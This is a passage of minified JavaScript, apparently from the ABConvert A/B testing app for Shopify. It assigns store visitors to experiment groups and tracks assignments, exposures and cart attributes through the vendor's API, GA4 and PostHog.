898const o={kxHash:jt(e),fetchedAt:Date.now(),membership:{...t?.membership??{},...r}};Oe(Me,JSON.stringify(o))})().finally((()=>{Dt=null})),Dt):void 0}function Ft(e,t){for(const n of e??[]){if(n?.type!==Ut)continue;const e=Array.isArray(n.value)?n.value:[n.value];for(const n of e)"string"==typeof n&&n.length>0&&t.add(n)}}function qt(){const e=Jt();return e?Mt(e)?.membership:{}}function Vt(e,t){return"string"==typeof t&&!0===e?.[t]}const Wt={source:{id:"klaviyo",class:"dynamic",read:()=>({klaviyoSegments:qt()}),available:()=>{const e=Jt();return!e||0===Bt(Mt(e)).length&&null!==Mt(e)},refresh:Gt},conditions:[{type:Ut,evaluate:function(e,t){const n=t.klaviyoSegments;if(!n)return!1;const r=Array.isArray(e.value)?e.value:[e.value];switch(e.operator){case"equals":return Vt(n,r[0]);case"not_equals":return!Vt(n,r[0]);case"in":return r.some((e=>Vt(n,e)));case"not_in":return!r.some((e=>Vt(n,e)));default:return!1}}}]},zt={source:{id:"ua_enrichment",class:"static",read:()=>({browser:ie(navigator.userAgent),os:se(navigator.userAgent),locale:navigator.language||void 0,timezone:Intl.DateTimeFormat().resolvedOptions().timeZone||void 0})}},Qt=["equals","not_equals","starts_with","in","not_in"],Ht=["contains","not_contains","regex"];function Kt(e,t){const n=function(e,t){return-1!==Qt.indexOf(e)?t.pathname:-1!==Ht.indexOf(e)?t.href:null}(e.operator,t);return null!==n&&it(e.operator,n,e.value)}function Zt(e,t=window.location){if(!e)return!0;if((e.excludeRules??[]).some((e=>Kt(e,t))))return!1;const n=e.includeRules??[];return 0===n.length||n.some((e=>Kt(e,t)))}function Yt(e){return _e(e).has("country")}we({source:{id:"country",class:"static",read:()=>({country:st()}),available:()=>""!==st(),refresh:ut},conditions:[{type:"country",evaluate:(e,t)=>it(e.operator,t.country,e.value)}]}),we(lt),we(bt),we(_t),we(St),we(kt),we(At),we($t),we(Ot),we(Rt),we(zt),we(Pt),we(Wt);const Xt="abconvert.visitor.id",en="abconvert.experiment",tn="abconvert.namespace",nn="traffic",rn="group",on="context",sn="__abconvertAssignmentSent",an=`${Ge}.ga4.impression.queue`,cn="__abconvert_ga4FlushPromise",un=window;function ln(){const e=un[cn];return e instanceof Promise?e:null}function dn(e){un[cn]=e}cn in un||(un[cn]=null);let fn=!1;function pn(e){return`${e.experimentId}::${e.groupIndex}`}function mn(e,t,n={}){ee(new Error(`[ABConvert][GA4] ${e}`),{script:"group-assignment",step:"ga4-impression-tracking",data:{issue:e,experimentId:t.experimentId,groupIndex:t.groupIndex,assignmentReason:t.assignmentReason,attempts:t.attempts,eventAgeMs:Date.now()-t.createdAt,shopifyDomain:window.Shopify?.shop||"",...n}})}function gn(){const e=Re(an);if(!e)return[];try{const t=JSON.parse(e);return Array.isArray(t)?t.filter((e=>"string"==typeof e?.experimentId&&Number.isInteger(e?.groupIndex)&&"string"==typeof e?.assignmentReason&&Number.isFinite(e?.createdAt)&&Number.isInteger(e?.attempts))):[]}catch{return[]}}function hn(){return gn().length>0}function wn(e){0!==e.length?Pe(an,JSON.stringify(e)):Ue(an)}function yn(e){return"url_force_assign"===e}function vn(e){if(null===e||""===e)return null;const t=Number(e);return function(e){return Number.isInteger(e)&&e>=0}(t)?t:null}function bn(e){return vn(Re(`${rt}${e}`))}function xn(e,t){try{for(const n of function(e,t){const n=[];return null!=t&&""!==t&&n.push(String(t)),e&&!n.includes(e)&&n.push(e),n}(e,t)){const e=bn(n);if(null!==e)return{groupIndex:e,reason:"url_force_assign"}}const n=vn(Re(nt));return null!==n?{groupIndex:n,reason:"url_force_assign"}:null}catch{return null}}function _n(e,t){return null!==xn(e,t)}function In(){let e=Ce(Xt);return e||(e=`abc_${"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(function(e){const t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)}))}`,Oe(Xt,e)),e}function Sn(e){const t=function(e,t=0){const n=e.length%4,r=e.length-n;let o=t>>>0;const i=3432918353,s=461845907;let a,c=0;for(;c<r;)a=255&e.charCodeAt(c)|(255&e.charCodeAt(c+1))<<8|(255&e.charCodeAt(c+2))<<16|(255&e.charCodeAt(c+3))<<24,c+=4,a=Math.imul(a,i),a=a<<15|a>>>17,a=Math.imul(a,s),o^=a,o=o<<13|o>>>19,o=Math.imul(o,5)+3864292196;switch(a=0,n){case 3:a^=(255&e.charCodeAt(c+2))<<16;case 2:a^=(255&e.charCodeAt(c+1))<<8;case 1:a^=255&e.charCodeAt(c),a=Math.imul(a,i),a=a<<15|a>>>
89817,a=Math.imul(a,s),o^=a}return o^=e.length,o^=o>>>16,o=Math.imul(o,2246822507),o^=o>>>13,o=Math.imul(o,3266489909),o^=o>>>16,o>>>0}(e);return t%100}function kn(e,t){Oe(`${en}.${e}.${nn}`,t.toString())}function Tn(e){const t=Ce(`${en}.${e}.${rn}`);if(null===t)return null;try{const e=JSON.parse(t);if("object"==typeof e&&null!==e&&"number"==typeof e.groupIndex)return{groupIndex:e.groupIndex,reason:e.reason,assignedAt:"string"==typeof e.assignedAt?e.assignedAt:void 0,sends:"number"==typeof e.sends?e.sends:void 0,attempts:"number"==typeof e.attempts?e.attempts:void 0,assignmentVersion:"number"==typeof e.assignmentVersion?e.assignmentVersion:void 0}}catch{}return null}function An(e,t,n,r){const o=`${en}.${e}.${rn}`,i=Tn(e),s={groupIndex:t,reason:n,assignedAt:i?.assignedAt??(new Date).toISOString()};return void 0!==i?.attempts&&(s.attempts=i.attempts),void 0!==i?.sends&&i.groupIndex===t&&(s.sends=i.sends),void 0!==r&&(s.assignmentVersion=r),Oe(o,JSON.stringify(s)),s}function Nn(e){const t=Ce(`${en}.${e}.${on}`);if(!t)return null;try{return JSON.parse(t)}catch{return null}}function $n(e,t){Oe(`${en}.${e}.${on}`,JSON.stringify(t))}function Cn(e){const t=e?.queryParams??{};return{country:e?.country||void 0,market:e?.market||void 0,device:e?.device||void 0,visitorType:e?.visitorType||void 0,trafficPlatform:e?.trafficPlatform||void 0,trafficChannel:e?.trafficChannel||void 0,referralDomain:e?.referralDomain||void 0,landingPage:e?.landingPage||void 0,utmSource:t.utm_source||void 0,utmMedium:t.utm_medium||void 0,utmCampaign:t.utm_campaign||void 0,utmTerm:t.utm_term||void 0,utmContent:t.utm_content||void 0,gclid:t.gclid||void 0,fbclid:t.fbclid||void 0,ttclid:t.ttclid||void 0}}function On(e,t,n,r){"preview_override"!==t.reason&&((t.sends??0)>=5||(t.attempts??0)>=10||-1===t.groupIndex&&Ie(n)||function(e){try{const t=window;let n=t[sn];return n||(n=new Set,t[sn]=n),!n.has(e)&&(n.add(e),!0)}catch{return!0}}(e)&&function(e,t,n,r,o,i){const s=In(),a=window.Shopify?.shop||"",c=U();try{const u=new URL(`${g}/api/track/assignment`);a&&u.searchParams.set("shop",a);const l=JSON.stringify({sessionId:c,visitorId:s,experimentId:e,testGroup:t,assignmentReason:n,assignmentVersion:i,createdAt:o??(new Date).toISOString(),...Cn(r),browser:r.browser??ie(navigator.userAgent),os:r.os??se(navigator.userAgent),locale:r.locale??navigator.language??void 0,timezone:r.timezone??Intl.DateTimeFormat().resolvedOptions().timeZone??void 0});return ne(u.toString(),l,{script:"group-assignment",data:{experimentId:e,shopifyDomain:a},onRejected:()=>function(e){const t=Tn(e);t?.sends&&Oe(`${en}.${e}.${rn}`,JSON.stringify({...t,sends:t.sends-1}))}(e)})}catch(t){return console.warn("[ABConvert] unified assignment tracking threw synchronously:",t?.message||t),ee(t instanceof Error?t:new Error(String(t)),{script:"group-assignment",step:"sync",data:{experimentId:e,shopifyDomain:a}}),!1}}(e,t.groupIndex,t.reason,r(),t.assignedAt,t.assignmentVersion)&&function(e,t){const n=`${en}.${e}.${rn}`,r={...t,sends:(t.sends??0)+1,attempts:(t.attempts??0)+1};Oe(n,JSON.stringify(r))}(e,t))}function En(e){const t=Number.isInteger(e?.experimentId)&&e.experimentId>=0?e.experimentId:null,n="string"==typeof e?.experimentName?e.experimentName.trim():"",r=Number.isInteger(e?.groupIndex)&&e.groupIndex>=0?e.groupIndex:null,o="string"==typeof e?.variantName?e.variantName.trim():"",i="string"==typeof e?.ga4MeasurementId?e.ga4MeasurementId.trim():"";return e?.found&&null!==t&&n&&null!==r&&o&&i?{experimentId:t,experimentName:n,groupIndex:r,variantName:o,ga4MeasurementId:i}:null}function Rn(e,t){"function"==typeof window.gtag&&window.gtag("event","abconvert_experience_impression",{abconvert_experiment_id:t.experimentId,abconvert_experiment_name:t.experimentName,abconvert_group_index:t.groupIndex,abconvert_variant_name:t.variantName,abconvert_exp_variant_string:`${t.experimentId}-${t.groupIndex}`,abconvert_assignment_reason:e.assignmentReason,transport_type:"beacon",event_timeout:1e3,send_to:t.ga4MeasurementId})}function Pn(e){return!(e.attempts>=3)&&Date.now()-e.createdAt<864e5}!function(){try{const e=new URLSearchParams(window.location.search),t=e.get("preview"),n=e.get("abconvert_force");if(null!==n&&n.includes(":")){const[e,t]=n.split(":"),r=Number(t);return void(e&&!isNaN(r)&&Pe(`${rt}${e}`,r.toString()))}null===n||isNaN(Number(n))?null===t||isNaN(Number(t))||Pe(nt,t):(Pe(nt,n),Pe("abconvert-preview-number",n))}catch{}}();let Un=!1;function Ln(){Un||(Un=!0,setTimeout((()=>{Un=!1,Dn()}),0))}async function Dn(){const e=ln();if(e){const t=e.then((()=>
898{if(ln()===t&&dn(null),hn())return Dn()}));return dn(t),t}const t=(async()=>{const e=gn();if(0===e.length)return;const t=[];let n=!1;const r=[];for(const t of e)Pn(t)?r.push(t):mn("ga4_impression_dropped_before_send",t,{reason:"retry_exhausted_or_expired"});if(r.length>0)if("function"!=typeof window.gtag)n=!0,t.push(...r);else{const e=await async function(e){if(0===e.length)return new Map;try{const t=await fetch(`${g}/api/ga4/metadata`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({items:e.map((e=>({clientKey:pn(e),experimentId:e.experimentId,groupIndex:e.groupIndex})))}),keepalive:!0});if(!t?.ok)return mn("ga4_metadata_batch_fetch_non_2xx",e[0],{statusCode:t?.status,batchSize:e.length}),null;const n=await t.json(),r=Array.isArray(n?.results)?n.results:null;if(!r)return mn("ga4_metadata_batch_invalid_response",e[0],{batchSize:e.length}),null;const o=new Map;for(const e of r){const t="string"==typeof e?.clientKey?e.clientKey:"";t&&o.set(t,e)}return o}catch(t){const n=t instanceof Error?t.message:String(t),r=t instanceof Error?t.name:"",o="TypeError"===r&&(n.includes("Failed to fetch")||n.includes("NetworkError")||n.includes("Load failed")||n.includes("network connection was lost")||n.includes("abort"));return"AbortError"===r||o?(console.warn("[ABConvert] GA4 metadata batch fetch failed (network issue):",n),null):(mn("ga4_metadata_batch_exception",e[0],{errorMessage:n,batchSize:e.length}),null)}}(r);for(const n of r){const r=e?.get(pn(n));if(o=r,!1===o?.found&&("ga4_not_configured"===o.reason||"ga4_ineligible"===o.reason))continue;const i=En(r);if(Boolean(i)&&i){Rn(n,i);continue}const s={...n,attempts:n.attempts+1};Pn(s)?t.push(s):mn("ga4_impression_retry_exhausted",s,{reason:"max_attempts_or_expired_after_not_sent"})}}var o;const i=function(e,t){const n=new Set(e.map((e=>pn(e)))),r=[...t],o=new Set(r.map((e=>pn(e))));for(const e of gn()){const t=pn(e);n.has(t)||o.has(t)||(r.push(e),o.add(t))}return r.length>50&&r.splice(0,r.length-50),r}(e,t);wn(i),n&&i.length>0&&(fn||(fn=!0,setTimeout((()=>{fn=!1,Dn()}),1500)))})().finally((()=>{ln()===t&&dn(null)}));return dn(t),t}function Jn(e){return function(e={}){const t={};for(const n of be())Object.assign(t,n.read(e));return t}({experimentStartTime:e})}function jn(e){const t=function(e){const{experimentId:t,numericId:n,trafficAllocationPercent:r,audienceTargeting:o,forceAssignRules:i,percentages:s,experimentStartTime:a,isPersonalization:c,assignmentVersion:u,pageTargeting:l}=e,d={audienceTargeting:o,forceAssignRules:i};le(de());const f=xn(t,n);if(f)return{inTest:!0,groupIndex:f.groupIndex<s.length?f.groupIndex:0,reason:f.reason};const p=function(e){const t=Re(`${en}.${e}.${rn}`);if(null===t)return null;const n=parseInt(t,10);return isNaN(n)?null:n}(t);if(null!==p)return{inTest:!0,groupIndex:p<s.length?p:0,reason:"preview_override"};const m=Tn(t);if(null===m&&!Zt(l))return{inTest:!1,groupIndex:-1,reason:"page_not_activated"};const h=null!==m&&c&&void 0!==u&&m.assignmentVersion!==u;if(null===m||h){const e=Se(d);if(e)return{inTest:!1,groupIndex:-1,reason:`${e.id}_unresolved`}}const w=In();if(!function(e,t){const n=window.abconvertNamespaceGroups;if(!n)return!0;let r=null,o=null;for(const[e,i]of Object.entries(n))if(i.memberExperimentIds.includes(t)){r=e,o=i;break}if(!r||!o)return!0;const i=function(e){const t=Ce(`${tn}.${e}`);if(!t)return null;try{return JSON.parse(t)}catch{return null}}(r);if(i){if(o.excludedExperimentIds?.includes(i.experimentId))return!1;if(o.inactiveExperimentIds?.includes(i.experimentId))return!1;if(o.memberExperimentIds.includes(i.experimentId))return i.experimentId===t;Ee(`${tn}.${r}`)}const s=o.ranges[t];if(!s)return!1;const[a,c]=s,u=Sn(`${e}:namespace:${r}`)/100,l=u>=a&&u<c;return l&&(d={experimentId:t},Oe(`${tn}.${r}`,JSON.stringify(d))),l;var d}(w,t))return{inTest:!1,groupIndex:-1,reason:"namespace_excluded"};if(!function(e,t,n){const r=function(e){const t=Ce(`${en}.${e}.${nn}`);return null===t?null:"true"===t}(t);if(null!==r)return r;if(n>=100)return kn(t,!0),!0;const o=Sn(`${e}:${t}:traffic`)<n;return kn(t,o),o}(w,t,r))return{inTest:!1,groupIndex:-1,reason:"traffic_allocation_excluded"};let y=m;null!==y&&c&&void 0!==u&&y.assignmentVersion!==u&&(function(e){Ee(`${en}.${e}.${nn}`),Ee(`${en}.${e}.${rn}`),Ee(`${en}.${e}.${on}`),Ue(`${en}.${e}.${rn}`)}(t),y=null);let v=null,b=null;if(null!==y&&he>0&&Ie(d)){b=Nn(t);let e=null;const n=()=>e??(e=Te(b,{experimentStartTime:a})),r=function(e,t,n,r,o={}){return function(e,t,n={}){if(!t)return!1;for(const r of xe(e)){if(!r.type)continue;const e=ve(r.type);if(!e||"dynamic"!==e.class)continue;if(e.available&&!e.available())continue;const o=e.read(n),i=ye(r.type)?.watchedValue;if(i){if(ke(i(r,o))!==ke(i(r,t)))return!0}else for(const e of Object.keys(o))if(ke(o[e])!==ke(t[e]))return!0}return!1}(e,n,o)?Se(e)?"keep":-1===t?"redecide":function(e,t){const n=t();return!!Ne(e.audienceTargeting,n)&&"exclude"!==$e(e.forceAssignRules,n)?.action}(e,r)?"refresh":"suppress":"keep"}(d,y.groupIndex,b,n,{experimentStartTime:a});if("refresh"===r)b=n(),$n(t,b);else if("redecide"===r)v=b,y=null;else if("suppress"===r)return function(e){if(!e)return;const t=de(),n=t.size;t.add(String(e)),t.size!==n&&le(t)}(t),{inTest:!1,groupIndex:-1,reason:"eligibility_withdrawn"}}if(null!==y){const e=()=>b??Nn(t)??Jn(a);if(-1===y.groupIndex)return On(t,y,d,e),{inTest:!1,groupIndex:-1,reason:y.reason};if(y.groupIndex<s.length)return On(t,y,d,e),hn()&&Ln(),{inTest:!0,groupIndex:y.groupIndex,reason:y.reason}}const x=Jn(a);let _,I;if(Ne(o,x)){const e=$e(i,x);if("exclude"===e?.action)I=An(t,-1,"force_assign_excluded",u),_={inTest:!1,groupIndex:-1,reason:"force_assign_excluded"};else if("assign_group"===e?.action)I=An(t,e.groupIndex,"force_assign_group",u),_={inTest:!0,groupIndex:e.groupIndex,reason:"force_assign_group"};else{const e=function(e,t,n){const r=Sn(`${e}:${t}:group`);let o=0;for(let e=0;e<n.length;e++)if(o+=n[e],r<o)return e;return n.length-1}(w,t,s);I=An(t,e,"random_split",u),_={inTest:!0,groupIndex:e,reason:"random_split"}}}else I=An(t,-1,"audience_targeting_excluded",u),_={inTest:!1,groupIndex:-1,reason:"audience_targeting_excluded"};const S=v?Te(v,{experimentStartTime:a}):x;return $n(t,S),function(e,t,n,r){const o=In(),i=window.Shopify?.shop||"",{customer:s,...a}=r;try{fetch(`${g}/api/analytics/v2/visitor/assignment`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({visitorId:o,experimentId:e,groupIndex:t,assignmentReason:n,visitorContext:a,myShopifyDomain:i}),keepalive:!0}
898).catch((e=>{console.warn("[ABConvert] legacy assignment tracking failed:",e?.message||e)}))}catch(e){console.warn("[ABConvert] legacy assignment tracking threw synchronously:",e?.message||e)}}(t,_.groupIndex,_.reason,S),On(t,I,d,(()=>S)),_.groupIndex>=0&&"preview_override"!==_.reason&&!yn(_.reason)&&function(e,t,n){const r=gn(),o=pn({experimentId:e,groupIndex:t});r.some((e=>pn(e)===o))||(r.push({experimentId:e,groupIndex:t,assignmentReason:n,createdAt:Date.now(),attempts:0}),r.length>50&&r.splice(0,r.length-50),wn(r),Ln())}(t,_.groupIndex,_.reason),_}(e),n=function(){if("undefined"==typeof window)return{};const e=window;return e[A]||(e[A]={}),e[A]}();return t.inTest?n[String(e.experimentId)]=t.groupIndex:delete n[String(e.experimentId)],t}const Mn="__abconvertExposedTests";const Bn="abconvert:exposed:",Gn="__abconvertExposureResendDone";function Fn(e){try{const t=sessionStorage.getItem(Bn+e);if(null===t)return null;const n=JSON.parse(t);if(n&&"string"==typeof n.sessionId&&n.sessionId.length>0&&"number"==typeof n.groupIndex&&Number.isFinite(n.groupIndex)){const e={sessionId:n.sessionId,groupIndex:n.groupIndex};return"number"==typeof n.numericId&&Number.isFinite(n.numericId)&&(e.numericId=n.numericId),e}return null}catch{return null}}function qn(e,t,n){const r=window.Shopify?.shop||"",o=In();try{const i=window.abconvertApiEndpoint||g,s=new URL(`${i}/api/track/event`);r&&s.searchParams.set("shop",r);const a=function(e){const t=Tn(e);if(null===t)return null;const n=Nn(e);return{experimentId:e,testGroup:t.groupIndex,assignmentReason:t.reason||void 0,createdAt:t.assignedAt,...Cn(n),browser:n?.browser||void 0,os:n?.os||void 0,locale:n?.locale||void 0,timezone:n?.timezone||void 0}}(e),c=JSON.stringify({sessionId:n,visitorId:o,eventType:"abconvert:exposure",source:"script",experimentIds:[e],assignmentSnapshots:a?[a]:[],pagePath:window.location.pathname,createdAt:(new Date).toISOString(),payload:{groupIndex:t}});ne(s.toString(),c,{script:"exposure",data:{experimentId:e}})}catch(t){console.warn("[ABConvert] exposure tracking threw synchronously:",t),ee(t instanceof Error?t:new Error(String(t)),{script:"exposure",step:"sync",data:{experimentId:e}})}}function Vn(e,t,n){if(_n(e,n))return;if(fe(e))return;!function(e,t){const n="number"==typeof t&&Number.isInteger(t)&&t>=0,r="string"==typeof t&&/^\d+$/.test(t);(n||r)&&function(e,t){try{let n=function(){const e=window[Mn];return e instanceof Set?e:null}();n||(n=new Set,window[Mn]=n),n.add(e);const r={experimentId:e,groupIndex:t};window.dispatchEvent(new CustomEvent("abconvert:exposure-recorded",{detail:r}))}catch{}}(String(t),e)}(t,n);const r=U(),o=Fn(e);if(o&&o.sessionId===r)return;const i={sessionId:r,groupIndex:t};"number"==typeof n&&Number.isFinite(n)&&(i.numericId=n),function(e,t){try{sessionStorage.setItem(Bn+e,JSON.stringify(t))}catch{}}(e,i),qn(e,t,r)}const Wn="ABConvert";function zn(e,t){if(!e||"/"===e)return t;const n=e.endsWith("/")?e.slice(0,-1):e;return t===n||t===n+"/"||t.startsWith(n+"/")?t:n+(t.startsWith("/")?t:"/"+t)}const Qn='form[action*="/cart/add"]',Hn="data-abconvert-property";let Kn=null,Zn=!1,Yn=!1;function Xn(){Yn=!1;for(const e of Array.from(document.querySelectorAll(Qn)))for(const t of Array.from(e.querySelectorAll(`input[${Hn}]`)))t.remove()}function er(e){const t=e.target;return t?.closest?t.closest("shopify-accelerated-checkout, .shopify-payment-button"):null}function tr(e){const t=er(e);if(!t)return;const n=t.closest(Qn);if(!n)return;const r=Kn?.();r&&(function(e,t){const n=function(e){const t={};for(const n of Array.from(e.querySelectorAll(`input[${Hn}]`))){const e=n.getAttribute(Hn);e&&(t[e]?n.remove():t[e]=n)}return t}(e);for(const r of Object.keys(t)){const o=n[r];if(o){o.value!==t[r]&&(o.value=t[r]);continue}const i=document.createElement("input");i.type="hidden",i.name=`properties[${r}]`,i.setAttribute(Hn,r),i.value=t[r],e.prepend(i)}}(n,r),Yn=!0)}function nr(e){Yn&&(er(e)||Xn())}function rr(){Yn&&Xn()}const or="abconvert:pending-tracking-cart-write",ir="__abconvert_cartWriteQueue",sr="__abconvert_cartWriteBatch",ar="__abconvert_cartWriteFlush",cr="__abconvert_trackingCartWriteFlush",ur="__abconvert_trackingCartWriteTimer",lr="__abconvert_trackingCartWriteListeners",dr="__abconvert_trackingCartWriteTerminal",fr="__abconvert_trackingCartWriteRerun",pr=window;function mr(){return window?.Shopify?.routes?.root??"/"}function gr(e){return new Promise(((t,n)=>{pr[sr].push({entry:e,resolve:t,reject:n}),pr[ar]||(pr[ar]=!0,setTimeout((()=>{const e=pr[sr];pr[sr]=[],pr[ar]=!1;const t=pr[ir].then((()=>async function(e){const t={};for(const{entry:n}of e)"direct"===n.type?t[n.key]=n.value:Object.assign(t,n.resolver());if(0===Object.keys(t).length)return;const n=mr(),r=await fetch(`${n}cart.js`),o=await r.json(),i={};for(const[e,n]of Object.entries(t)){const t=o.attributes?.[e];t!==n&&(""===n&&null==t||(i[e]=n))}if(0===Object.keys(i).length)return;let s=0;for(;s<10;){const e=await fetch(`${n}cart/update.js`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({attributes:i})}),t=await e.json();let r=!0;for(const[e,n]of Object.entries(i)){const o=t.attributes?.[e];if(o!==n&&(""!==n||null!=o)){r=!1;break}}if(r)return;s++}}(e)));pr[ir]=t.catch((()=>{})),t.then((()=>e.forEach((e=>e.resolve())))).catch((t=>e.forEach((e=>e.reject(t)))))}),0))}))}function hr(e,t){return gr({type:"direct",key:e,value:t})}function wr(){const e=[];let t,n=!1;try{t=localStorage.length}catch{return Nr("local_assignment_scan"),null}for(let r=0;r<t;r++){let t,o;try{t=localStorage.key(r)}catch{return Nr("local_assignment_scan"),null}if(t&&t.startsWith("abconvert.experiment.")&&t.endsWith(".group")){try{o=localStorage.getItem(t)}catch{return Nr("local_assignment_scan"),null}try{const r=JSON.parse(o);if(null==r)continue;const i=t.slice(21,-6);n=!0;const s="number"==typeof r?r:r.groupIndex;-1===s||fe(i)||e.push({id:i,groupIndex:s})}catch{}}}return n?e:null}function yr(){const e=wr();return e?[...new Set(e.map((e=>e.id)))].sort():null}function vr(e){return"number"==typeof e?Number.isInteger(e)&&e>=0?e:null:"string"==typeof e&&/^\d+$/.test(e)?parseInt(e,10):null}pr[sr]||(pr[sr]=[]),pr[ir]||(pr[ir]=Promise.resolve());let br=null,xr=null;function _r(){const e=function(e){const t={};for(const{id:n,groupIndex:r}of e){const e=vr(r);null===e||n in t||(t[n]=e)}return t}(wr()??[]),t=pr[A]??{};for(const[n,r]of Object.entries(t)){const t=vr(r);null!==t&&(e[n]=t)}if(0===Object.keys(e).length)return null;const n={[b]:JSON.stringify(e)};br&&(n["_abconvert-visitor"]=br),xr&&(n["_abconvert-session"]=xr);const r=(window?.Shopify?.country||Re(Be)||Ce(Be)||"").toUpperCase();return r&&(n["_abconvert-country"]=r),n}function Ir(e,t){br=t?String(t):null,xr=e?String(e):null;try{Kn=_r,Zn||"undefined"==typeof document||(Zn=!0,document.addEventListener("click",tr,!0),document.addEventListener("pointerdown",nr,!0),document.addEventListener("keydown",nr,!0),document.addEventListener("submit",rr,!0))}catch{}try{const n=$r(),r=Date.now(),o={...n?.attributes||{}},i=yr();i&&(o[k]=JSON.stringify(i)),e&&(o[x]=String(e)),t&&(o[_]=String(t));const s={version:1,revision:`${Date.now().toString(36)}-${Math.random().toString(36).slice(2)}`,createdAt:n?.createdAt??r,updatedAt:r,attempts:0,readFailures:0,attributes:o};return Cr(s)?(Tr("tracking_cart_write_pending_created",s),Rr(0)):Sr(e,t)}catch{return Sr(e,t)}}function Sr(e,t){try{const n=[];return e&&n.push(hr(x,e)),t&&n.push(hr(_,t)),n.push(gr({type:"deferred",resolver:()=>{const e=yr();return e?{[k]:JSON.stringify(e)}:{}}})),Promise.allSettled(n).then((()=>{}))}catch{return Promise.resolve()}}function kr(e,t){try{Ir(e(),t()).catch((()=>{}))}catch{}}function Tr(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};try{pr.posthog?.capture?.(e,{schemaVersion:1,revision:t?.revision,attempts:t?.attempts,...n})}catch{}}function Ar(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};t?.revision&&(pr[dr]||(pr[dr]={}),pr[dr][t.revision]||(pr[dr][t.revision]=!0,Tr(e,t,n)))}function Nr(e){Tr("tracking_cart_write_storage_unavailable",null,{operation:e})}function $r(){let e;try{e=sessionStorage.getItem(or)}catch{return Nr("read"),null}if(!e)return null;try{const t=JSON.parse(e),n=Object.keys(t.attributes||{}),r=[x,_,k];if(1!==t.version||"string"!=typeof t.revision||!Number.isFinite(t.createdAt)||!Number.isFinite(t.updatedAt)||!Number.isInteger(t.attempts)||t.attempts<0||void 0!==t.readFailures&&(!Number.isInteger(t.readFailures)||t.readFailures<0)||n.some((e=>!r.includes(e)))||n.some((e=>"string"!=typeof t.attributes[e])))throw new Error("invalid record");return t.readFailures??=0,Date.now()-t.createdAt>18e5?(Or(t.revision),Ar("tracking_cart_write_expired",t,{reason:"ttl"}),null):t}
898catch{try{sessionStorage.removeItem(or)}catch{Nr("delete")}return null}}function Cr(e){try{return sessionStorage.setItem(or,JSON.stringify(e)),!0}catch{return Nr("write"),!1}}function Or(e){try{const t=sessionStorage.getItem(or);return!t||JSON.parse(t).revision===e&&(sessionStorage.removeItem(or),!0)}catch{return Nr("delete"),!1}}function Er(e,t){return Object.entries(t).every((t=>{let[n,r]=t;return e?.attributes?.[n]===r}))}function Rr(e){if(pr[cr])return pr[fr]=!0,pr[cr];pr[ur]&&clearTimeout(pr[ur]);const t=new Promise((t=>{pr[ur]=setTimeout((()=>{pr[ur]=null;const e=(pr[ir]||Promise.resolve()).then(Pr);pr[ir]=e.catch((()=>{})),e.catch((()=>{})).finally(t)}),e)}));return pr[cr]=t.finally((()=>{pr[cr]=null,pr[fr]&&(pr[fr]=!1,Rr(0))})),pr[cr]}async function Pr(){const e=$r();if(!e||e.attempts>=10||e.readFailures>=10)return;let t="read",n="network";try{const r=mr(),o=await fetch(`${r}cart.js`);if(!o.ok)throw n="non_ok",new Error("cart read failed");n="parse";const i=await o.json();if(t="write",Er(i,e.attributes))return void(Or(e.revision)&&Ar("tracking_cart_write_verified",e,{source:"read"}));const s=$r();if(!s||s.revision!==e.revision)return;if(s.attempts+=1,s.updatedAt=Date.now(),!Cr(s))return;Tr("tracking_cart_write_attempted",s),n="network";const a=await fetch(`${r}cart/update.js`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({attributes:s.attributes})});if(!a.ok)throw n="non_ok",new Error("cart write failed");if(n="parse",!Er(await a.json(),s.attributes))throw n="mismatch",new Error("cart verification failed");Or(s.revision)&&Ar("tracking_cart_write_verified",s,{source:"write"})}catch{const r=$r();if(!r||r.revision!==e.revision)return;if("read"===t){if(r.readFailures+=1,r.updatedAt=Date.now(),!Cr(r))return;Tr("tracking_cart_write_read_failed",r,{reason:n})}const o=r.attempts>=10?"post_budget":r.readFailures>=10?"read_budget":null;if(o)return void Ar("tracking_cart_write_retry_exhausted",r,{reason:o});const i="read"===t?r.readFailures:r.attempts,s=Math.min(3e4,250*2**Math.max(0,i-1)),a=Math.round(s*(.75+.5*Math.random()));Tr("tracking_cart_write_retry_scheduled",r,{delayMs:a,operation:t,reason:n}),function(e){pr[ur]&&clearTimeout(pr[ur]),pr[ur]=setTimeout((()=>{pr[ur]=null,Rr(0)}),e)}(a)}}function Ur(){$r()&&Rr(0)}pr[lr]||(pr[lr]=!0,window.addEventListener("pageshow",Ur),window.addEventListener("online",Ur)),Ur();const Lr="__ABConvertPreviewRegistry";const Dr="abconvert.preview";function Jr(e){try{return window.sessionStorage?.getItem(e)??null}catch(e){return null}}function jr(e){const t=new URLSearchParams(window.location.search).get("abconvert_preview_key");return t&&t===e?(function(e,t){try{window.sessionStorage?.setItem(e,t)}catch(e){}}(Dr,"true"),function(){const e=new URL(window.location.href);e.searchParams.delete("abconvert_preview_key"),window.history.replaceState({},"",e.toString())}(),!0):!(!e||"true"!==Jr(Dr))}new Set;const Mr="urlRedirect";const Br="__abconvertScriptSentinels",Gr=Object.freeze({enabled:!0,timeoutMs:1500,redirectTimeoutMs:4e3}),Fr="{visibility:hidden!important}";function qr(e,t){return"number"==typeof e&&e>0?e:t}const Vr="abconvert-anti-flicker-page";let Wr=null;const zr=new Map;let Qr=null,Hr=!1;function Kr(){const e=window.setTimeout(Zr,1e4);return()=>window.clearTimeout(e)}function Zr(){zr.forEach((e=>e())),zr.clear(),Qr?.(),Qr=null,Wr?.remove(),Wr=null;
